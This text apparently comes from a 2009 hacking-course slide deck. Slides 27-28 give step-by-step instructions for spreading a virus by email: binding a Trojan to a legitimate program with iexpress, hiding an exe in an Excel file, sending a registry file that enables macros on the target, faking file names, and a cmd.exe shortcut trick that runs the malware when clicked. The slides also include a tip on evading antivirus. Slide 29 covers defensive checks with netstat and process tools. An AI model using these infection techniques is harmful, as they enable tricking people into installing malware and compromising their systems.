free of cost from: www.ddl2.com 20 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 27: How to Spread Virus: Send email after: 1. File Binding. 2. Hide exe into excel file. 3. Office 2003 Macro bypasser: 4. File name phising 5. False Linking. 1. File Binding): File binding is a process to bind two exe files into one. When binded exe is exeuted, both the exe’s are executed at the same time. We have 2 default binder programs: 1. iexpress.exe (ship with xp+vista) Goto run and type: iexpress and select 1 option : create a self extraction directive fileÆnextÆselect 1st optionÆnextÆgive package title-my prg or anyÆnextÆ select no promptÆ select donot display a licenseÆ add 2 files (one virus or Trojan file, and 2 any software like winamp.exe) ÆnextÆ select install programÆ winamp.exe and post install commandÆ select server.exe(virus)ÆSelct defaultÆnextÆno messageÆselect Browse to save a final exe file. And nextÆ final.exe created. When we are binding the exe’s, the limitation is that it makes a third type of icon which can be detected so to change icon we use resource hacker program for getting the orginal icon.To change icon use resource hacker program. Don’t use custom binders from internet because they are detected as virus by many anti viruses. Limitation of iexpress: Iexpress can only bind exe file format into final exe, not any other extension like excel, PDF file. Case study: 2.4 (Bind virus with any software with help of iexpress) Video Demo: www.thesecretofhacking.com/vd/ch2/cs24 21 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 28: Case study: 2.5 (Bind virus with any software with help of winrar) Video Demo: www.thesecretofhacking.com/vd/ch2/cs25 2. Hide exe into excel file. Download: www.thesecretofhacking.com/sw/ch2/excelhacker.zip then Extract excelhack.exe to c drive and put 2 files, one sever.exe(virus) and another is excel file(bill.xls) in the same folder then open dos prompt and then type the command given below: c:\>excelhack.exe bill.xls server.exe [enter] Limitation of this exploit: Work only in office 2003 Video Demo: www.thesecretofhacking.com/vd/ch2/cs26 3. Office 2003 Macro bypasser: Download: www.thesecretofhacking.com/sw/ch2/macrobypasser.reg and send it to the targeted system which will enable macro feature, which will be helpful to infect victim system. 4. File name phising Open Dos Prompt and just rename the file and create a archive with help of winrar software. C:\> ren server.exe photo1226.jpeg-www.myspace.com Video: www.thesecretofhacking.com/vd/ch2/cs27 5. False Linking. It is one of the special methods of infecting a target system, where we change the name of server.exe into bill.xls with the help of “ c:\> ren server.exe bill.xls” But before that we make the shortcut of server.exe on same folder and after that open shortcut property and set “ C:\windows\system32\cmd.exe /c bill.xls” . Then if anybody clicks on bill.xls.lnk it will automatically tun the server.exe which will infect the target system easily. See Video for more information : www.thesecretofhacking.com/vd/ch2/cs28 22 Copyright ©2009 Leo Impact Security Services Pvt Ltd
Slide 29: Catching Malwares? 1. Choosing the Best Anti Virus Solution First method to block virus and different type of malwares is using 2 anti viruses, and we prefer these antiviruses for maximum security: 1. Avira Premium Security Suite Download: www.thesecretofhacking.com/sw/ch2/antivir.zip 2. Avast v4.8 1335 Professional Edition Download: www.thesecretofhacking.com/sw/ch2/avast.zip 2. Using Netstat command Use netstat command in dos prompt to find out unwanted open ports: c:\> netstat –no [enter] Active Connections Proto Local Address TCP 117.196.228.240:3468 TCP 117.196.228.240:3482 Foreign Address 209.85.153.104:80 209.85.153.100:80 State ESTABLISHED ESTABLISHED PID 2088 2088 Use tasklist command to find out application related to PID(Process id). To terminate process use; c:\> taskkill /PID 2088 3. Using Tools 1. Process explorer Download URL: www.thesecretofhacking.com/sw/ch2/processexplorer.rar 2. Fport Download URL: www.thesecretofhacking.com/sw/ch2/fport.exe 3. TcpView Download URL: www.thesecretofhacking.com/sw/ch2/tcpview.exe Video Demo: www.thesecretofhacking.com/vd/ch2/cs30 23 Copyright ©2009 Leo Impact Security Services Pvt Ltd

   
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